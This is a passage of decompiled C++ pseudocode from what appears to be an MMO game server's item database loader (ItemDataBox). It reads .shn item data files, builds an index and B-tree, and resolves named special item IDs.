v2->idb_maxItemhandle = *(_WORD *)v8; } ++v6; } while ( v6 < v2->idb_Itemspacies ); } v9 = v2->idb_index; ++v2->idb_maxItemhandle; if ( v9 ) { operator delete__(v9); v2->idb_index = 0; } v10 = operator new__(32 * v2->idb_maxItemhandle); v2->idb_index = (ItemDataBox::ItemDataBoxIndex *)v10; if ( v10 ) { v11 = 0; if ( v2->idb_maxItemhandle > 0 ) { v12 = 0; do { v2->idb_index[v12].data = 0; v2->idb_index[v12].dataserv = 0; v2->idb_index[v12].itemoption = 0; v2->idb_index[v12].SetItemIndex = -1; v2->idb_index[v12].itemdroplog = 0; v2->idb_index[v12].ItemSortOrder = -1; ++v11; ++v12; } while ( v11 < v2->idb_maxItemhandle ); } v13 = 0; if ( v2->idb_Itemspacies ) { do { if ( v13 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v14 = CDataReader::GetRecord((CDataReader *)v3, v13); else v14 = v3 + 60; v15 = *(_WORD *)v14; if ( v13 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v16 = CDataReader::GetRecord((CDataReader *)v3, v13); else v16 = v3 + 60; v2->idb_index[v15].data = (ItemInfo *)v16; ++v13; } while ( v13 < v2->idb_Itemspacies ); } v17 = 0; if ( v2->idb_Itemspacies ) { do { if ( v17 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v18 = CDataReader::GetRecord((CDataReader *)v3, v17); else v18 = v3 + 60; v19 = *(_WORD *)v18; if ( v17 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v20 = CDataReader::GetRecord((CDataReader *)v3, v17); else v20 = v3 + 60; BTree::bt_Insert(&v2->idb_btree, (const char *)v20 + 2, v19); ++v17; } while ( v17 < v2->idb_Itemspacies ); } result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (005DC310) -------------------------------------------------------- void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this) { ItemDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->idb_index; if ( v2 ) { operator delete(v2); v1->idb_index = 0; } ItemDataBox::__unnamed::___unnamed(&v1->idb_BinData.itminf.baseclass_0); BTree::_BTree(&v1->idb_btree); } //----- (005DC380) -------------------------------------------------------- void __thiscall ItemDataBox::idb_Load(ItemDataBox *this) { ItemDataBox *v1; // esi@1 unsigned int v2; // eax@1 CDataReader::HEAD *v3; // ecx@1 unsigned int v4; // edi@2 void *v5; // ebx@7 void *v6; // ebp@10 void *v7; // eax@13 int v8; // edx@15 int v9; // ecx@15 unsigned int v10; // edi@20 bool v11; // zf@20 void *v12; // eax@22 void *v13; // eax@26 unsigned int v14; // ST08_4@30 void *v15; // eax@30 int v16; // ecx@30 unsigned int v17; // ecx@33 int v18; // eax@34 void *v19; // eax@38 unsigned int v20; // ebx@40 bool v21; // cf@40 void *v22; // eax@41 ItemDataBox::ItemDataBoxIndex *v23; // eax@46 int v24; // ecx@46 ItemInfo *v25; // edx@46 int v26; // eax@46 void *v27; // eax@51 void *v28; // eax@54 void *v29; // eax@57 unsigned __int16 v30; // di@59 int v31; // ebx@61 unsigned int v32; // edi@61 unsigned int v33; // ebp@62 void *v34; // eax@64 CDataReader::HEAD *v35; // eax@70 unsigned __int8 v36; // bl@73 void *v37; // ebp@74 void *v38; // eax@75 unsigned int v39; // ebx@86 void *v40; // ebp@88 unsigned int v41; // eax@90 int v42; // edi@90 int v43; // edi@101 unsigned int v44; // eax@105 signed __int16 v45; // di@105 unsigned int v46; // eax@110 signed __int16 v47; // di@110 unsigned int v48; // eax@115 signed __int16 v49; // di@115 unsigned int v50; // eax@120 signed __int16 v51; // di@120 unsigned int v52; // eax@125 signed __int16 v53; // di@125 unsigned int v54; // eax@130 signed __int16 v55; // di@130 unsigned int v56; // eax@135 signed __int16 v57; // di@135 unsigned int v58; // eax@140 signed __int16 v59; // di@140 unsigned int v60; // eax@145 signed __int16 v61; // di@145 unsigned int v62; // eax@150 signed __int16 v63; // di@150 unsigned int v64; // eax@155 signed __int16 v65; // di@155 unsigned int v66; // eax@160 signed __int16 v67; // di@160 unsigned int v68; // eax@165 signed __int16 v69; // di@165 unsigned int v70; // eax@170 signed __int16 v71; // di@170 unsigned int v72; // eax@175 signed __int16 v73; // di@175 unsigned int v74; // eax@180 signed __int16 v75; // di@180 unsigned int v76; // eax@185 signed __int16 v77; // di@185 unsigned int v78; // eax@190 signed __int16 v79; // di@190 unsigned int v80; // eax@195 signed __int16 v81; // di@195 unsigned int v82; // eax@200 signed __int16 v83; // di@200 unsigned int v84; // eax@205 signed __int16 v85; // di@205 unsigned int v86; // eax@210 signed __int16 v87; // di@210 unsigned int v88; // eax@215 signed __int16 v89; // di@215 unsigned int v90; // eax@220 signed __int16 v91; // di@220 unsigned int v92; // eax@225 signed __int16 v93; // di@225 unsigned int v94; // eax@230 signed __int16 v95; // di@230 unsigned int v96; // eax@235 signed __int16 v97; // di@235 unsigned int v98; // eax@240 signed __int16 v99; // di@240 unsigned int v100; // eax@245 signed __int16 v101; // di@245 unsigned int v102; // eax@250 signed __int16 v103; // di@250 unsigned int v104; // eax@255 signed __int16 v105; // di@255 unsigned int v106; // eax@260 signed __int16 v107; // di@260 int v108; // ecx@265 bool v109; // sf@265 unsigned int v110; // eax@266 int v111; // ebx@267 void *v112; // eax@270 unsigned int v113; // edi@273 void *v114; // eax@274 void *v115; // eax@277 signed int v116; // edi@279 int v117; // ebp@279 void *v118; // eax@281 unsigned int v119; // edx@285 unsigned int v120; // edx@286 unsigned int v121; // eax@287 signed __int16 v122; // di@287 unsigned int v123; // eax@292 signed __int16 v124; // di@292 unsigned int v125; // eax@297 signed __int16 v126; // di@297 unsigned int v127; // eax@302 signed __int16 v128; // di@302 unsigned int v129; // eax@307 signed __int16 v130; // di@307 unsigned int v131; // eax@312 signed __int16 v132; // di@312 unsigned int k; // [sp+10h] [bp-74h]@1 unsigned int i; // [sp+14h] [bp-70h]@36 unsigned int itmid; // [sp+18h] [bp-6Ch]@40 int *nItemDropLogSettingCnt; // [sp+1Ch] [bp-68h]@4 unsigned int v137; // [sp+20h] [bp-64h]@71 int nItemDropLog; // [sp+24h] [bp-60h]@15 char wa; // [sp+28h] [bp-5Ch]@265 int v140; // [sp+58h] [bp-2Ch]@265 int v141; // [sp+64h] [bp-20h]@265 int v142; // [sp+68h] [bp-1Ch]@265 int v143; // [sp+6Ch] [bp-18h]@265 char v144; // [sp+70h] [bp-14h]@265 unsigned int v145; // [sp+74h] [bp-10h]@1 int v146; // [sp+80h] [bp-4h]@265 v1 = this; v145 = (unsigned int)&k ^ __security_cookie; BinaryDataBox::bdb_ReadData(&this->idb_BinData.itminf, "../9Data/Hero/ItemInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itminfsrv, "../9Data/Hero/ItemInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itmgrade, "../9Data/Hero/GradeItemOption.shn"); BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&v1->idb_BinData.itemdroplog, "../9Data/Hero/ItemDropLog.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itmsort, "../9Data/Hero/ItemSort.shn"); v2 = v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead; v1->idb_Itemspacies = v2; if ( v2 != v3->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : DataNumber not match", 0); v4 = 0; if ( v1->idb_Itemspacies > 0 ) { do { if ( v4 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) nItemDropLogSettingCnt = (int *)CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v4); else nItemDropLogSettingCnt = (int *)&v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( v4 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v4); else v5 = &v1->idb_BinData.itminf.bdb_defaultblock; if ( v4 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v4); else v6 = &v1->idb_BinData.itminf.bdb_defaultblock; if ( v4 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v4); else v7 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; v8 = *(_WORD *)v5; v9 = *nItemDropLogSettingCnt; nItemDropLog = *(_WORD *)v6 == *(_DWORD *)v7; if ( !nItemDropLog ) { AssertClass::ac_AssertFail(&shineassert, "Diff : ", v8, v9); ShineExit("ItemDataBox::idb_Load"); } ++v4; } while ( v4 < v1->idb_Itemspacies ); } ShineExit("ItemDataBox::idb_Load"); } nItemDropLog = v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v10 = 0; v11 = v1->idb_Itemspacies == 0; nItemDropLogSettingCnt = 0; v1->idb_maxItemhandle = 0; if ( !v11 ) { do { if ( v10 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v10); else v12 = &v1->idb_BinData.itminf.bdb_defaultblock; if ( v1->idb_maxItemhandle < *(_WORD *)v12 ) { if ( v10 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v10); else v13 = &v1->idb_BinData.itminf.bdb_defaultblock; v1->idb_maxItemhandle = *(_WORD *)v13; } ++v10; } while ( v10 < v1->idb_Itemspacies ); } v14 = 32 * (v1->idb_maxItemhandle++ + 1); v15 = operator new__(v14); v16 = v1->idb_maxItemhandle; v1->idb_index = (ItemDataBox::ItemDataBoxIndex *)v15; if ( v15 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : Memory leak for index in Item", v16); ShineExit("ItemDataBox::idb_Load"); } v17 = 0; if ( v1->idb_maxItemhandle > 0 ) { v18 = 0; do { v1->idb_index[v18].data = 0; v1->idb_index[v18].dataserv = 0; v1->idb_index[v18].itemoption = 0; v1->idb_index[v18].MovingShot = 0; v1->idb_index[v18].AttackAngle = 0; v1->idb_index[v18].SetItemIndex = -1; v1->idb_index[v18].itemdroplog = 0; v1->idb_index[v18].ItemSortOrder = -1; ++v17; ++v18; } while ( v17 < v1->idb_maxItemhandle ); } v11 = v1->idb_Itemspacies == 0; i = 0; if ( !v11 ) { do { if ( i < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, i); else v19 = &v1->idb_BinData.itminf.bdb_defaultblock; v20 = i; v21 = i < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; itmid = *(_WORD *)v19; if ( v21 ) v22 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, i); else v22 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( itmid != *(_DWORD *)v22 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load : iteminfo iteminfoserver Order not match", itmid); ShineExit("ItemDataBox::idb_Load"); } v23 = v1->idb_index; v24 = 32 * itmid; v25 = v23[itmid].data; v26 = (int)&v23[itmid]; k = 32 * itmid; if ( v25 || *(_DWORD *)(v26 + 4) ) { AssertClass::ac_AssertFail(&shineassert, "Duplicate Item handle", itmid); ShineExit("ItemDataBox::idb_Load"); } if ( v20 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v27 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v20); v24 = k; } else { v27 = &v1->idb_BinData.itminf.bdb_defaultblock; } *(ItemInfo **)((char *)&v1->idb_index->data + v24) = (ItemInfo *)v27; if ( v20 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v28 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v20); v24 = k; } else { v28 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; } *(ItemInfoServer **)((char *)&v1->idb_index->dataserv + v24) = (ItemInfoServer *)v28; if ( v20 < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v29 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, v20); else v29 = &v1->idb_BinData.itminf.bdb_defaultblock; v30 = itmid; BTree::bt_Insert(&v1->idb_btree, (const char *)v29 + 2, itmid); if ( (*(ItemInfo **)((char *)&v1->idb_index->data + k))->ItemFunc == 3 ) v1->idb_specialid.sii_JustReviveItem = v30; v31 = nItemDropLog; v32 = 0; if ( nItemDropLog > 0 ) { v33 = itmid; while ( 1 ) { v34 = v32 < v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0, v32) : &v1->idb_BinData.itemdroplog.bdb_defaultblock; if ( *(_DWORD *)v34 == v33 ) break; ++v32; if ( (signed int)v32 >= v31 ) goto LABEL_70; } *(ItemDropLog **)((char *)&v1->idb_index->itemdroplog + k) = (ItemDropLog *)v34; nItemDropLogSettingCnt = (int *)((char *)nItemDropLogSettingCnt + 1); } LABEL_70: v35 = v1->idb_BinData.itmsort.baseclass_0.baseclass_0.m_pHead; if ( v35 ) v137 = v35->nNumOfRecord; else v137 = 0; v36 = 0; if ( !(_BYTE)v137 ) goto LABEL_81; while ( 1 ) { v37 = CDataReader::GetRecord(&v1->idb_BinData.itmsort.baseclass_0.baseclass_0, v36); v38 = i < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, i) : &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( !strcmp((const char *)v37, (const char *)v38 + 195) ) break; ++v36; if ( v36 >= (unsigned __int8)v137 ) goto LABEL_81; } *(&v1->idb_index->ItemSortOrder + k) = v36; if ( v36 >= (unsigned __int8)v137 ) { LABEL_81: AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : Invalid ItemSort Index", itmid); ShineExit("ItemDataBox::idb_Load"); } v21 = i++ + 1 < v1->idb_Itemspacies; } while ( v21 ); } if ( (int *)nItemDropLog != nItemDropLogSettingCnt ) AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load : ItemDropLog - Not found item cnt", (int)nItemDropLogSettingCnt); v39 = 0; if ( v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { do { if ( v39 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v40 = CDataReader::GetRecord(&v1->idb_BinData.itmgrade.baseclass_0.baseclass_0, v39); else v40 = &v1->idb_BinData.itmgrade.bdb_defaultblock; v41 = BTree::operator__(&v1->idb_btree, (const char *)v40); LOWORD(v42) = -1; if ( v41 != -1 ) LOWORD(v42) = v41; if ( (_WORD)v42 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", (const char *)v40); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v42 = (unsigned __int16)v42; if ( (unsigned __int16)v42 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v40); ShineExit("ItemDataBox::idb_Load"); } v11 = v42 >= v1->idb_maxItemhandle; nItemDropLog = v42 < v1->idb_maxItemhandle; if ( v11 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v40); ShineExit("ItemDataBox::idb_Load"); } v43 = v42; if ( v1->idb_index[v43].itemoption ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Duplicate Item handle", (const char *)v40); ShineExit("ItemDataBox::idb_Load"); } v1->idb_index[v43].itemoption = (GradeItemOption *)v40; ++v39; } while ( v39 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v44 = BTree::operator__(&v1->idb_btree, "Cen"); v45 = -1; if ( v44 != -1 ) v45 = v44; if ( v45 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Cen"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_cenid = v45; v46 = BTree::operator__(&v1->idb_btree, "SilverWings"); v47 = -1; if ( v46 != -1 ) v47 = v46; if ( v47 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SilverWings"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_silverwing = v47; v48 = BTree::operator__(&v1->idb_btree, "PresentBox"); v49 = -1; if ( v48 != -1 ) v49 = v48; if ( v49 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "PresentBox"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_kqrewardchest = v49; v1->idb_specialid.sii_recall.stage = -1; v50 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadAll"); v51 = -1; if ( v50 != -1 ) v51 = v50; if ( v51 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistAll = v51; v52 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleAll"); v53 = -1; if ( v52 != -1 ) v53 = v52; if ( v53 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistAll = v53; v54 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadOne"); v55 = -1; if ( v54 != -1 ) v55 = v54; if ( v55 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistPoint = v55; v56 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleOne"); v57 = -1; if ( v56 != -1 ) v57 = v56; if ( v57 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistPoint = v57; v58 = BTree::operator__(&v1->idb_btree, "LicenseClear"); v59 = -1; if ( v58 != -1 ) v59 = v58; if ( v59 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "LicenseClear"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeaponLicenseClear = v59; v60 = BTree::operator__(&v1->idb_btree, "House_MushRoom"); v61 = -1; if ( v60 != -1 ) v61 = v60; if ( v61 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "House_MushRoom"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MiniHouse_MushRoom = v61; v62 = BTree::operator__(&v1->idb_btree, "HPMPotion1"); v63 = -1; if ( v62 != -1 ) v63 = v62; if ( v63 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP0 = v63; v64 = BTree::operator__(&v1->idb_btree, "HPMPotion2"); v65 = -1; if ( v64 != -1 ) v65 = v64; if ( v65 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP1 = v65; v66 = BTree::operator__(&v1->idb_btree, "HPMPotion0"); v67 = -1; if ( v66 != -1 ) v67 = v66; if ( v67 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP2 = v67; v68 = BTree::operator__(&v1->idb_btree, "HPMPotion3"); v69 = -1; if ( v68 != -1 ) v69 = v68; if ( v69 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP3 = v69; v70 = BTree::operator__(&v1->idb_btree, "SPMPotion1"); v71 = -1; if ( v70 != -1 ) v71 = v70; if ( v71 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP0 = v71; v72 = BTree::operator__(&v1->idb_btree, "SPMPotion2"); v73 = -1; if ( v72 != -1 ) v73 = v72; if ( v73 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP1 = v73; v74 = BTree::operator__(&v1->idb_btree, "SPMPotion0"); v75 = -1; if ( v74 != -1 ) v75 = v74; if ( v75 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP2 = v75; v76 = BTree::operator__(&v1->idb_btree, "SPMPotion3"); v77 = -1; if ( v76 != -1 ) v77 = v76; if ( v77 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP3 = v77; v78 = BTree::operator__(&v1->idb_btree, "Roar"); v79 = -1; if ( v78 != -1 ) v79 = v78; if ( v79 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Roar"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Roar = v79; v80 = BTree::operator__(&v1->idb_btree, "ProdReload01"); v81 = -1; if ( v80 != -1 ) v81 = v80; if ( v81 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProdReload01"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillErase = v81; v82 = BTree::operator__(&v1->idb_btree, "GoddessWing"); v83 = -1; if ( v82 != -1 ) v83 = v82; if ( v83 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GoddessWing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowWing = v83; v84 = BTree::operator__(&v1->idb_btree, "MemoryFeather"); v85 = -1; if ( v84 != -1 ) v85 = v84; if ( v85 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MemoryFeather"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowFeather = v85; v86 = BTree::operator__(&v1->idb_btree, "WingStone01_1"); v87 = -1; if ( v86 != -1 ) v87 = v86; if ( v87 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WingStone01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WingStone = v87; v88 = BTree::operator__(&v1->idb_btree, "KQ_SoulCrystal"); v89 = -1; if ( v88 != -1 ) v89 = v88; if ( v89 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "KQ_SoulCrystal"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_BossMobDetector = v89; v90 = BTree::operator__(&v1->idb_btree, "Karis"); v91 = -1; if ( v90 != -1 ) v91 = v90; if ( v91 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Karis"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Karis = v91; v92 = BTree::operator__(&v1->idb_btree, "GuildName"); v93 = -1; if ( v92 != -1 ) v93 = v92; if ( v93 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildName"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReName = v93; v94 = BTree::operator__(&v1->idb_btree, "GuildTendency"); v95 = -1; if ( v94 != -1 ) v95 = v94; if ( v95 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildTendency"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReType = v95; v96 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadAll01"); v97 = -1; if ( v96 != -1 ) v97 = v96; if ( v97 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadAll01"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistAllBelonged = v97; v98 = BTree::operator__(&v1->idb_btree, "Roar01"); v99 = -1; if ( v98 != -1 ) v99 = v98; if ( v99 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Roar01"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_RoarBelonged = v99; v100 = BTree::operator__(&v1->idb_btree, "IN_MoneyCard00"); v101 = -1; if ( v100 != -1 ) v101 = v100; if ( v101 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "IN_MoneyCard00"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_DiceTaiSaiMoneyCard = v101; v102 = BTree::operator__(&v1->idb_btree, "EnchantSocketReload"); v103 = -1; if ( v102 != -1 ) v103 = v102; if ( v103 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "EnchantSocketReload"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_EnchantSocketRemover = v103; v104 = BTree::operator__(&v1->idb_btree, "EnchantSocketAdd"); v105 = -1; if ( v104 != -1 ) v105 = v104; if ( v105 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "EnchantSocketAdd"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_EnchantSocketDrill = v105; v106 = BTree::operator__(&v1->idb_btree, "Claude"); v107 = -1; if ( v106 != -1 ) v107 = v106; if ( v107 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Claude"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_AdeliaMover = v107; CCharacterTitleData::CCharacterTitleData((BinaryData *)&wa); v141 = 0; v142 = 0; v143 = 0; v144 = 0; v146 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&wa, "../9Data/Hero/WeaponAttrib.shn"); v108 = v140; v11 = *(_DWORD *)(v140 + 40) == 0; v109 = *(_DWORD *)(v140 + 40) < 0; k = 0; if ( !(v109 | v11) ) { do { v110 = v1->idb_maxItemhandle; i = 0; if ( v110 ) { v111 = 0; do { if ( v1->idb_index[v111].data ) { if ( k < *(_DWORD *)(v108 + 40) ) { v112 = CDataReader::GetRecord((CDataReader *)&wa, k); v108 = v140; } else { v112 = &v141; } if ( v1->idb_index[v111].data->WeaponType == *(_DWORD *)v112 ) { v113 = k; if ( k < *(_DWORD *)(v108 + 40) ) v114 = CDataReader::GetRecord((CDataReader *)&wa, k); else v114 = &v141; v1->idb_index[v111].MovingShot = *((_BYTE *)v114 + 6); if ( v113 < *(_DWORD *)(v140 + 40) ) v115 = CDataReader::GetRecord((CDataReader *)&wa, v113); else v115 = &v141; v1->idb_index[v111].AttackAngle = *((_WORD *)v115 + 2); v116 = 0; v117 = v111 * 32 + 18; do { if ( 